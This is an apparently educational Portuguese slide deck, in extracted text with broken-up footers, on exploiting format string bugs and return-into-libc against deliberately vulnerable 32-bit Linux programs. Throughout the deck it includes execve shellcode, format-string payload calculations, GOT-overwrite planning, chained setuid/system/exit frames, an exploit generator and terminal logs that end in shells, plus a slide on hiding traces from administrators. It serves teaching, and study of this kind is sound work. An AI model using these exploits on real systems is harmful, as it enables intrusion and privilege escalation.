addr = (char*)&i;ptr = (char*)&addr;
str[4] = *ptr;str[5] = *(ptr+1);str[6] = *(ptr+2);str[7] = *(ptr+3);
fprintf(stderr, "variavel i (%p) = 0x%x\n\n", &i, i);
printf(str);
fprintf(stderr, "\nvariavel i (%p) = 0x%x\n", &i, i);}(I
n)S
egu
r an
ça d
e S
oft
war
e , Q
ueb
ran
do
Có
dig
os
- R
a fae
l Ro
s a
Codificando um endereço válido na string de formato, pode-se alterar o valor apontado por esse endereço.
Basta apenas chegar até a posição da string de formato na stack e então encontrar o endereço codificado.
Escrevendo na memória
Format String Bug(I
n)S
egu
r an
ça d
e S
oft
war
e , Q
ueb
ran
do
Có
dig
os
- R
a fae
l Ro
s a
Format String BugEscrevendo na memória
[rafael@centos format string]$ ./format_string_ex4variavel i (0xbffff4f8) = 0xaabbccdd
AAAAøôÿ¿080485d0bffff4f8aabbccdd00000000000000000000000041414141____
variavel i (0xbffff4f8) = 0x42[rafael@centos format string]$
Então, é só passar a tag %n tendo como argumento o endereço codificado.
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Format String BugControlando a memória
int main(){char *ptr, *addr;int i = 0xaabbccdd;char str[] = "AAAA\xff\xff\xff\xff%0233811115x%08x%08x%08x%08x%08x”
“%08x%08x__%n__\n";
addr = (char*)&i;ptr = (char*)&addr;
str[4] = *ptr;str[5] = *(ptr+1);str[6] = *(ptr+2);str[7] = *(ptr+3);
fprintf(stderr, "variavel i (%p) = 0x%x\n\n", &i, i);
printf(str);
fprintf(stderr, "\nvariavel i (%p) = 0x%x\n", &i, i);}
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Para controlar o valor a ser escrito no endereço codificado basta usar os especificadores de tamanho nas tags de formato. Assim, pode-se forçar que uma quantidade específica de bytes seja enviada para a saída, de modo que quando %n for ativada o valor a ser escrito possa ser controlado pelo atacante.
Controlando a memória
Format String Bug
[rafael@centos format string]$ ./format_string_ex5 > /dev/nullvariavel i (0xbffff4f8) = 0xaabbccdd
variavel i (0xbffff4f8) = 0xdefaced[rafael@centos format string]$
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Format String BugA técnica
char shellcode[]="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69""\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd""\x80";
int main(int argc, char *argv[]){
if(argc != 2){printf("uso: %s <param>\n", argv[0]);return 1;
}printf("shellcode - %p\n", shellcode);printf("retaddr - %p\n", &argc-1);printf(argv[1]);printf("\n");printf("%p\n", *(&argc-1));
}
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Format String BugA técnica
Controlando qualquer endereço de memória é possível redirecionar o fluxo de execução do programa para o payload previamente injetado pelo atacante.
Para tal, basta sobrescrever um endereço de retorno ou uma entrada na GOT.
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Format String BugString de formato
1 x “AAAA” = 41 endereço = 4%134519792x = 134519792132 x %08x = 1056
total = 0x0804a018
então,bffff2ec = 0x804a018
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Format String BugRedirecionando fluxo
[rafael@centos format string]$ /format_string_ex6 `cat badfile_ex61.bin`shellcode - 0x804a018retaddr - 0xbffff2ec…
bffff2ecbffff2e8bffff2f0b7ff0f50bffff2f0bffff348b7e8c685080484c008048340bffff348b7e8c68500000002bffff374bffff380b7fe2b380000000100000001000000000804824cb7fcfff4080484c008048340bffff348d005e179fe6c9569000000000000000000000000b7ff6090b7e8c5adb7ffeff400000002080483400000000008048361080483f400000002bffff374080484c0080484b0b7ff0f50bffff36cb7ffbaaa00000002bffff4c0bffff4d400000000bffff705bffff727bffff73abffff771bFfff781bffff78cbffff7dcbffff817bffff829bffff835bffffc5ebffffc84bffffcb4bffffce5bffffcf5bffffd42bffffd62bFfffd7dbffffda4bffffdb5bffffdcdbffffde2bffffdfdbffffe14bffffe1cbffffe2ebffffe5abffffe69bffffea5bfffff07bfFfff27bfffff34bfffff41bfffff63bfffff79bfffff92bfffffb6bfffffd20000000000000020b7ffd42000000021b7ffd00000000010078bf3bf0000000600001000000000110000006400000003080480340000000400000020000000050000000800000007b7fe3000000000080000000000000009080483400000000b000003e70000000c000003e70000000d000003e70000000e000003e700000017000000000000001fbfffffe80000000fbffff4bb00000000000000000000000069000000003638366f662f2e74616d727274735f5f676e690036786541414141aaaaaaaaaaa0x804a018sh-3.2$ exitexit [rafael@centos format string]$
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Controlando a memória byte a byte
Format String Bug
Pode ser que haja algum limite para os especificadores de tamanho, como também para a quantidade total de caracteres gerados como saída.
Então, para controlar o valor a ser escrito, deve-se escrever byte a byte o valor na posição desejada.
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Controlando a memória byte a byte
Format String Bug
4 x “AAAA” = 164 endereços = 16132 x %08x = 1056
%216x = 216bffff2cc = 0x00000518
%136x = 136bffff2cd = 0x000005a0
%100x = 100bffff2ce = 0x00000604
%260x = 260bffff2cf = 0x00000708
então,bffff2cc = 0x0804a018
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Format String Bug
[rafael@centos format string]$ /format_string_ex6 `cat badfile_ex62.bin`shellcode - 0x804a018retaddr – 0xbffff2ccc....
AAAA����AAAA����AAAA����AAAA����bffff2ccbffff2c8bffff2d0b7ff0f50bffff2d0bffff328b7e8c685080484c008048340bffff328b7e8c68500000002bffff354bffff360b7fe2b380000000100000001000000000804824cb7fcfff4080484c008048340bffff328d085a179feec9569000000000000000000000000b7ff6090b7e8c5adb7ffeff400000002080483400000000008048361080483f400000002bffff354080484c0080484b0b7ff0f50bffff34cb7ffbaaa00000002bffff4a0bffff4b400000000bffff705bffff727bffff73abffff771bffff781bffff78cbffff7dcbffff817bffff829bffff835bffffc5ebffffc84bffffcb4bffffce5bffffcf5bffffd42bffffd62bffffd7dbffffda4bffffdb5bffffdcdbffffde2bffffdfdbffffe14bffffe1cbffffe2ebffffe5abffffe69bffffea5bfffff07bfffff27bfffff34bfffff41bfffff63bfffff79bfffff92bfffffb6bfffffd20000000000000020b7ffd42000000021b7ffd00000000010078bf3bf0000000600001000000000110000006400000003080480340000000400000020000000050000000800000007b7fe3000000000080000000000000009080483400000000b000003e70000000c000003e70000000d000003e70000000e000003e700000017000000000000001fbfffffe80000000fbffff49b00000000000000000000000069000000003638366f662f2e74616d727274735f5f676e6900367865 41414141 41414141 41414141 41414141aaaa0x804a018sh-3.2$
Controlando a memória byte a byte
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Acesso direto à parametros
Format String Bug
Caso haja algum limite para o tamanho da string de formato injetada, pode-se usar o especificador de formato %pos$n, onde pos é a posição do argumento desejado na passagem para a função.
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Acesso direto à parametros
Format String Bug
4 x “AAAA” = 164 endereços = 16
%248x = 248bffff4cc = 0x00000118
%136x = 136bffff4cd = 0x000001a0
%100x = 100bffff4ce = 0x00000204
%260x = 260bffff4cf = 0x00000308
então,bffff4cc = 0x0804a018
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Acesso direto à parametros
Format String Bug
[rafael@centos format string]$ /format_string_ex6 `cat badfile_ex63.bin`shellcode - 0x804a018retaddr - 0xbffff4ccAAAA����AAAA����AAAA����AAAA���� bffff4cc bffff4c8 bffff4d0 b7ff0f50aaaa0x804a018sh-3.2$ exitexit[rafael@centos format string]$
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Format String BugPrograma vulnerável
int func(char *str){printf(str);printf("\n");
}
int main(int argc, char *argv[]){
if(argc != 2){printf("uso: %s <param>\n", argv[0]);return 1;
}func(argv[1]);
}
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Planejamento
Format String Bug
A exploração será feita através da GOT. Quando putchar() for chamada após o ataque, o fluxo do programa será redirecionado para o endereço injetado na tabela.
Basta gravar na entrada GOT de putchar() o endereço do payload. Sabendo em que posição (como parametro da função vulnerável) argv[1] se encontra, é fácil calcular seu endereço, dado o endereço (estimado) da stack.
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Planejamento
Format String Bug
[rafael@centos format string]$ objdump -R format_string_ex7
format_string_ex7: file format elf32-i386
DYNAMIC RELOCATION RECORDSOFFSET TYPE VALUE 08049ff0 R_386_GLOB_DAT __gmon_start__0804a000 R_386_JUMP_SLOT __gmon_start__0804a004 R_386_JUMP_SLOT putchar0804a008 R_386_JUMP_SLOT __libc_start_main0804a00c R_386_JUMP_SLOT printf
[rafael@centos format string]$
O endereço do payload deve ser colocado em 0x0804a004.
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Planejamento
Format String Bug
4 x “AAAA” = 164 endereços = 1645 x 0x90 = 41shellcode = 23
total = 100
%72x = 72 0804a004 = 0x000000ac
%74x = 740804a005 = 0x000000f6
%9x = 90804a006 = 0x000000ff
%192x = 1920804a007 = 0x000001bf
então,0804a004 = 0xbffff6ac
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Planejamento
Format String Bug
0xbffff6ac é o endereço do payload.
0xbffff6ac ≅ esp – 128 + 137*4 ± offset.
[rafael@centos format string]$ ./format_string_ex7 `cat badfile_ex7.bin`sh-3.2$ exitexit[rafael@centos format string]$
[rafael@centos exemplos]$ ./get_espesp: 0xbffff4f4 [rafael@centos exemplos$
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Agenda
Falhas de Software Princípios de Segurança de Software Introdução à Overflow de Memória
Stack Overflow Heap Overflow Integer Overflow
Format String Bug Técnicas Modernas
WorX Stack Protector ASLR
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Técnicas Modernas
Atualmente existem proteções que dificultam a execução do payload.
Área de dados apenas com permissão de execução. Não é possível redirecionar o ponteiro de instruções para o payload.
Mecanismos de verificação dinâmica da integridade da stack.
Randomização da memória do programa, de modo que endereços não possam ser “adivinhados” com facilidade.
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Agenda
Falhas de Software Princípios de Segurança de Software Introdução à Overflow de Memória
Stack Overflow Heap Overflow Integer Overflow
Format String Bug Técnicas Modernas
WorX Stack Protector ASLR
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
WorX
Técnica utilizada para impedir que áreas de dados de um programa possam ser executadas.
Nenhuma área com permissão de escrita (stack, heap, .data, .bss) deve ter permissão de execução.
Isso impede que o fluxo de execução de um programa seja redirecionado para um payload injetado.
Definição
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
WorXDefinição
Nada impede o desenvolvedor de mapear uma área de memória WR.
Alguns programas precisam executar código gerado dinamicamente.
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
WorXDefinição
char shellcode[]="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69""\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";
void func(){char buffer[16];
strcpy(buffer, "AAAABBBBCCCCDDD");*((long*)(buffer+20)) = (long)shellcode;printf("%s\n", buffer);
}
int main(){func();printf("fim\n");
}
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
WorXProteção desabilitada
[rafael@centos worx]$ gcc -z execstack worx_ex11 worx_ex1.c[rafael@centos worx]$ ./worx_ex1
AAAABBBBCCCCDDDsh-3.2$
[rafael@centos worx]$ cat /proc/14460/maps00723000-0073d000 r-xp 00000000 08:02 394715 /lib/ld-2.5.so0073d000-0073e000 r-xp 00019000 08:02 394715 /lib/ld-2.5.so0073e000-0073f000 rwxp 0001a000 08:02 394715 /lib/ld-2.5.so00741000-0087f000 r-xp 00000000 08:02 392465 /lib/libc-2.5.so0087f000-00881000 r-xp 0013e000 08:02 392465 /lib/libc-2.5.so00881000-00882000 rwxp 00140000 08:02 392465 /lib/libc-2.5.so00882000-00885000 rwxp 00882000 00:00 0 08048000-08049000 r-xp 00000000 08:02 2126285 minicurso/exemplos/worx/worx_ex108049000-0804a000 rwxp 00000000 08:02 2126285 minicurso/exemplos/worx/worx_ex1f7f95000-f7f97000 rwxp f7f95000 00:00 0 f7fb2000-f7fb3000 rwxp f7fb2000 00:00 0 ffbd2000-ffbe7000 rwxp 7ffffffea000 00:00 0 [stack]ffffe000-fffff000 r-xp ffffe000 00:00 0 [rafael@centos worx]$
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
WorXProteção habilitada
[rafael@centos worx]$ gcc worx_ex12 worx_ex1.c[rafael@centos worx]$ ./worx_ex1
AAAABBBBCCCCDDDSegmentation fault[rafael@centos worx]$
[rafael@centos worx]$ cat /proc/14461/maps00723000-0073d000 r-xp 00000000 08:02 394715 /lib/ld-2.5.so0073d000-0073e000 r--p 00019000 08:02 394715 /lib/ld-2.5.so0073e000-0073f000 rw-p 0001a000 08:02 394715 /lib/ld-2.5.so00741000-0087f000 r-xp 00000000 08:02 392465 /lib/libc-2.5.so0087f000-00881000 r--p 0013e000 08:02 392465 /lib/libc-2.5.so00881000-00882000 rw-p 00140000 08:02 392465 /lib/libc-2.5.so00882000-00885000 rw-p 00882000 00:00 0 08048000-08049000 r-xp 00000000 08:02 2126285 minicurso/exemplos/worx/worx_ex1208049000-0804a000 rw-p 00000000 08:02 2126285 minicurso/exemplos/worx/worx_ex12f7fd5000-f7fd7000 rw-p f7fd5000 00:00 0 f7ff2000-f7ff3000 rw-p f7ff2000 00:00 0 ffcdf000-ffcf4000 rw-p 7ffffffea000 00:00 0 [stack]ffffe000-fffff000 r-xp ffffe000 00:00 0 [rafael@centos worx]$
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Return-into-libc
Redirecionar o fluxo para código próprio do programa ou para bibliotecas carregadas por ele.
Libc é “linkada” em todos os programas em sistemas Linux e carregada sempre no mesmo endereço base. Basta que o fluxo seja redirecionado para uma função da biblioteca.
Chamando system(“/bin/sh”) um shell é retornado para o atacante.
Burlando a proteção
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
A arte
crescimento da stack
esp ebp
EBP anterior ...buffer explorado retaddr ...
função vulnerável
variáveis locais EBP anterior arg1retaddr
system
0xdefaced... 0xdefaced system 0xdefaced ptr “/bin/sh”
vetor de injeção
Return-into-libc(I
n)S
egu
r an
ça d
e S
oft
war
e , Q
ueb
ran
do
Có
dig
os
- R
a fae
l Ro
s a
Redirecionando para system
int func(){int *ptr;
ptr = (int*)&ptr;ptr++;ptr++;*ptr = (int)system;ptr++;ptr++;*ptr = (int)"/bin/sh";
}
int main(){func();
}
[rafael@centos worx]$ ./return_into_libc_ex1$ exitSegmentation fault[rafael@centos worx]$
Return-into-libc(I
n)S
egu
r an
ça d
e S
oft
war
e , Q
ueb
ran
do
Có
dig
os
- R
a fae
l Ro
s a
O endereço de retorno é sobrescrito com o endereço de system.
A posição de memória que do ponto de vista do registro de ativação (frame de pilha) da função system seria o endereço de retorno é deixada de lado e um ponteiro para “/bin/sh” é colocado na posição seguinte. Esse ponteiro será o arg1 da função.
Redirecionando para system
Return-into-libc(I
n)S
egu
r an
ça d
e S
oft
war
e , Q
ueb
ran
do
Có
dig
os
- R
a fae
l Ro
s a
Eliminando vestígios
variáveis locais EBP anterior arg1retaddr
exit
esp ebp crescimento da stack
EBP anterior ...buffer explorado retaddr ... ...
função vulnerável
variáveis locais EBP anterior arg1retaddr
system
0xdefaced... 0xdefaced system exit ptr “/bin/sh” 0xffffffff
vetor de injeção
Return-into-libc(I
n)S
egu
r an
ça d
e S
oft
war
e , Q
ueb
ran
do
Có
dig
os
- R
a fae
l Ro
s a
int func(){int *ptr;
ptr = (int*)&ptr;ptr++;ptr++;*ptr = (int)system;ptr++;*ptr = (int)exit;ptr++;*ptr = (int)"/bin/sh";ptr++;*ptr = 0x1;
}
int main(){func();
}
[rafael@centos worx]$ ./return_into_libc_ex2$ exit[rafael@centos worx]$
Eliminando vestígios
Return-into-libc(I
n)S
egu
r an
ça d
e S
oft
war
e , Q
ueb
ran
do
Có
dig
os
- R
a fae
l Ro
s a
Um atacante deve eliminar todos os seus rastros de modo a não chamar a atenção do administrador do sistema.
Para não causar uma falha de segmentação, a posição que system considera como endereço de retorno é sobrescrita com o endereço de exit, e o valor após o ponteiro para “/bin/sh” recebe o valor -1 (argumento para exit).
Eliminando vestígios
Return-into-libc(I
n)S
egu
r an
ça d
e S
oft
war
e , Q
ueb
ran
do
Có
dig
os
- R
a fae
l Ro
s a
Programa vulnerável
Return-into-libc
void func(char *str){char buffer[256];
strcpy(buffer, str);printf("%s\n", buffer);
}
int main(int argc, char *argv[]){
if(argc != 2){printf("uso: %s <param>\n", argv[0]);return 1;
}
func(argv[1]);printf("fim\n");
}
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Planejando o ataque
Return-into-libc
Descobrindo o endereço de system e exit.
[rafael@centos worx]$ gdb ./return_into_libc_ex3GNU gdb Fedora (6.8-27.el5)Copyright (C) 2008 Free Software Foundation, Inc.This GDB was configured as "x86_64-redhat-linux-gnu"...(no debugging symbols found)(gdb) b mainBreakpoint 1 at 0x8048460(gdb) rStarting program: minicurso/exemplos/worx/return_into_libc_ex3
Breakpoint 1, 0x08048460 in main ()(gdb) p system$1 = {<text variable, no debug info>} 0xb7eafa90 <system>(gdb) p exit$2 = {<text variable, no debug info>} 0xbfea4ce0 <exit>(gdb)
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
O exploit
Return-into-libc
#define SYSTEM 0xb7eafa90#define SARG "////////////////////////////////////////////////////bin/sh"#define ESP 0xbffff3a4 + 37#define EXIT 0xb7ea4ce0#define EARG 0xffffffff
int main(int argc, char **argv){FILE *badfile;long *ptr;unsigned int sargaddr;int n, i, j, pos;char buffer[352];if(argc != 3){
fprintf(stderr, "uso: %s <ret> <conf>\n", argv[0]);return 1;
}sargaddr = ESP + atoi(argv[1]);pos = atoi(argv[2]);if(pos < 1 || pos > 4)
pos = 1;(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
O exploit
Return-into-libc
memset(&buffer, 'A', 352);ptr = (long*)buffer;
n = ( (&buffer[351] - strlen(SARG)) - (char*)ptr)/4;
n = n/4;
for(i = 0, j = pos - 1; i <= n; i++){ptr[j++] = SYSTEM;ptr[j++] = EXIT;ptr[j++] = sargaddr;ptr[j++] = EARG;
}
strcpy(&buffer[351] - strlen(SARG), SARG);
badfile = fopen("./badfile_ex31.bin", "w");fwrite(buffer, 1, 352, badfile);fclose(badfile);
}(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Calculando o endereço do buffer
Return-into-libc
Considerando que o buffer vulnerável tem 256 bytes, e a posição de SARG dentro do vetor é 293, conclui-se que SARG se encontra próximo ao endereço:
SARG = esp + (293-256) ± offset
Onde offset é o deslocamento da pilha, que depende de características próprias do programa.
[rafael@centos exemplos]$ ./get_espESP: 0xbffff504[rafael@centos exemplos]$
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
O ataque falha
Return-into-libc
O offset deve ser multiplo de 4 (dword), já que a pilha segue um alinhamento de 4 bytes.
[rafael@centos worx]$ ./exploit_return_into_libc_ex31 -28 2[rafael@centos worx]$ ./return_into_libc_ex3 `cat badfile_ex31.bin `AAAA�����L��-������������L��-������������L��-������������L��-������������L��-������������L��-������������L��-������������L��-������������L��-������������L��-������������L��-������������L��-������������L��-������������L��-������������L��-������������L��-������������L��-������������L��-��������////////////////////////////////////////////////////bin/shsh: cannot open �������: No such filesh: ���P��: not found[rafael@centos worx]$
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Recalculando o endereço do buffer
Return-into-libc
Como o vetor de injeção é passado através de argumento da linha de comando, o valor da pilha se altera porque argv[1] é armazenado na mesma.
[rafael@centos worx]$ ../get_esp `cat badfile_ex31.bin `ESP: 0xbffff3a4[rafael@centos worx]$
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Badfile
Return-into-libc(I
n)S
egu
r an
ça d
e S
oft
war
e , Q
ueb
ran
do
Có
dig
os
- R
a fae
l Ro
s a
A exploração
Return-into-libc
Dessa vez com o valor de ESP considerando argv[1].
[rafael@centos worx]$ ./exploit_return_into_libc_ex31 -28 2[rafael@centos worx]$ ./return_into_libc_ex3 `cat badfile_ex31.bin `AAAA�����L귭� � � � � � � � � � � � L귭� � � � � � � � � � � � L귭� � � � � �������L귭� � � � � � � � � � � � L귭� � � � � � � � � � � � L귭� � � � � � � �����L귭� � � � � � � � � � � � L귭� � � � � � � � � � � � L귭� � � � � � � � � ���L귭� � � � � � � � � � � � L귭� � � � � � � � � � � � L귭� � � � � � � � � � � �L귭� � � � � � � � � � � � L귭� � � � � � � � � � � � L귭� � � � � � � � � � � � L귭������������L귭� � � � � � � � � � � � L귭� � � � � � � � ////////////////////////////////////////////////////bin/shsh-3.2$ exitexit[rafael@centos worx]$
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
O bash
Return-into-libc
Na maioria dos sistema atuais /bin/sh é um link simbólico para /bin/bash.
[rafael@centos worx]# cp /bin/sh /bin/sh.back[rafael@centos worx]# rm /bin/sh[rafael@centos worx]# ln -s /bin/bash /bin/sh[rafael@centos worx]#
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
O bash
Return-into-libc
Setando o programa como suid root.
[rafael@centos worx]# chown root return_into_libc_ex3[rafael@centos worx]# chmod a+s return_into_libc_ex3[rafael@centos worx]# exit[rafael@centos worx]$ ./exploit_return_into_libc_ex3 -7 2[rafael@centos worx]$ ./return_into_libc_ex3 `cat badfile_ex31.bin `AAAA�����L귭� � � � � � � � � � � � L귭� � � � � � � � � � � � L귭� � � � � �������L귭� � � � � � � � � � � � L귭� � � � � � � � � � � � L귭� � � � � � � �����L귭� � � � � � � � � � � � L귭� � � � � � � � � � � � L귭� � � � � � � � � ���L귭� � � � � � � � � � � � L귭� � � � � � � � � � � � L귭� � � � � � � � � � � �L귭� � � � � � � � � � � � L귭� � � � � � � � � � � � L귭� � � � � � � � � � � � L귭������������L귭� � � � � � � � � � � � L귭� � � � � � � � ////////////////////////////////////////////////////bin/shsh-3.2$ iduid=500(rafael) gid=500(rafael) groups=500(rafael),501(vboxusers) context=user_u:system_r:unconfined_tsh-3.2$
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
O bash
Return-into-libc
O bash possui um mecanismo de proteção. Retorna um shell de acordo com o uid e não com o euid.
O euid do programa vulnerável é 0 (root) porém o uid é 500 (rafael).
Basta então setarmos o uid para 0, através de setuid(0). Isso é possível pois o processo está rodando com permissão de root.
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Limitação
Return-into-libc
variáveis locais EBP anterior arg1retaddr
system
exit
EBP anterior arg1retaddrvariáveis locais
variáveis locais EBP anterior arg1retaddr
setuid
vetor de injeção
0xdefaced... setuid system ? ptr “/bin/sh” 0xffffffff
...buffer retaddr ... ...
função vulnerável
...
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Mas como chamar setuid(), system() e exit()?
É impossível! O argumento para setuid coincidiria com o endereço de exit.
Limitação
Return-into-libc(I
n)S
egu
r an
ça d
e S
oft
war
e , Q
ueb
ran
do
Có
dig
os
- R
a fae
l Ro
s a
Return-into-libc
O código de epílogo nos programas modernos é formado por duas instruções: leave e ret.
A primeira retoma o frame de pilha da função chamadora.
A segunda retorna o fluxo do programa para a instrução seguinte à que chamou a função atual.
Código de epílogo
; instruções executadas por leavemov esp, ebppop ebp
; instrução executada por retpop eip
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Endereço de leave e ret
Return-into-libc
[rafael@centos worx]$ objdump -S return_into_libc_ex3 | grep leave804830e: c9 leave8048421: c9 leave8048450: c9 leave8048576: c9 leave[rafael@centos worx]$
Posições de memória onde há uma instrução leave.
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Return-into-libcFalsificando frames
; área de texto; código do programa
0x08048450 <func+44>: leave0x08048451 <func+45>: ret
vetor de injeção
system
0x08048450
ptr “/bin/sh”
setuid
0x080484500x00
exit
0x080484500xffffffff
buffer
...
...
...
...
retaddr
...
...
EBP anterior
...
...
...
...
função vulnerável
ebp 1
ebp setuid
ebp 2ebp system
ebp 3ebp exit
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
A função vulnerável vai copiar o valor em ebp 1 para o ebp, em seguida vai retornar para setuid.
O código de prólogo então vai criar um frame da função e vai sobrescrever o endereço de setuid com o endereço do ebp 2. Ao terminar o ebp 2 será restaurado e a função retorna para 0x08048450.
leave vai copiar o valor de ebp 2 para ebp e então retorna para system.
Falsificando frames
Return-into-libc(I
n)S
egu
r an
ça d
e S
oft
war
e , Q
ueb
ran
do
Có
dig
os
- R
a fae
l Ro
s a
Limitação
Return-into-libc
Se a função vulnerável (caso em questão) trabalhar com manipulação de strings, não se pode injetar um 0x00 (NULL), pois isso terminaria a operação com a string e não seria possível injetar mais nenhum byte no buffer.
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Return-into-libcEscrevendo na memória
; área de texto; código do programa
0x08048450 <func+44>: leave0x08048451 <func+45>: ret
função vulnerávelbuffer
...
...
...
...
retaddr......
EBP anterior
...
...
...
...
...
...
...
...
vetor de injeção
system0x08048450ptr “/bin/sh”
setuid0x08048450
0xffffffff
exit0x08048450
0xffffffff
0x08048450ptr “%n”
printf
ebp 2ebp setuid
ebp 3ebp system
ebp 4ebp exit
ebp 1 ebp printf
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Escrevendo na memória
Return-into-libc
Um frame para printf é criado para poder alterar um endereço de memória através da tag de formato %n.
Basta passar como argumento de %n o endereço do argumento para setuid, o qual será sobrescrito com 0x00000000.
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Planejamento
Return-into-libc
Para executar esse ataque é necessária a injeção de uma string de formato (“%n”) e de um shell (“/bin/sh”), que precisam ser armazenados em endereços conhecidos.
É preciso conhecer o endereço do buffer na memória, para poder falsificar os frames de pilha.
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Planejamento
Return-into-libc
Para esse caso, pode-se injetar as strings em variáveis de ambiente.
A técnica abaixo é usada para aumentar a chance de acerto.
[rafael@centos exemplos]$ export SH=//////////////////////////////////////////////////////////////////////////////////////////////////////bin/sh[rafael@centos exemplo]$ export STR=%n[rafael@centos exemplo]$ export STR=$STR`perl -e 'print “%08p”x100'`[rafael@centos exemplo]$ ./get_env SHO endereço de SH é 0xbffffd56[rafael@centos exemplos]$ ./get_env STRO endereço de STR é 0xbffffaa1
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Código do exploit
Return-into-libc
#define PRINTF 0xb7ebfc10#define SETUID 0xb7f13c60#define SYSTEM 0xb7eafa90#define EXIT 0xb7ea4ce0
#define LEAVERET 0x08048450
#define PARGADDR 0xbffffaa1 - 34#define SUIDARG 0xffffffff#define SARGADDR 0xbffffd56#define EARG 0xffffffff
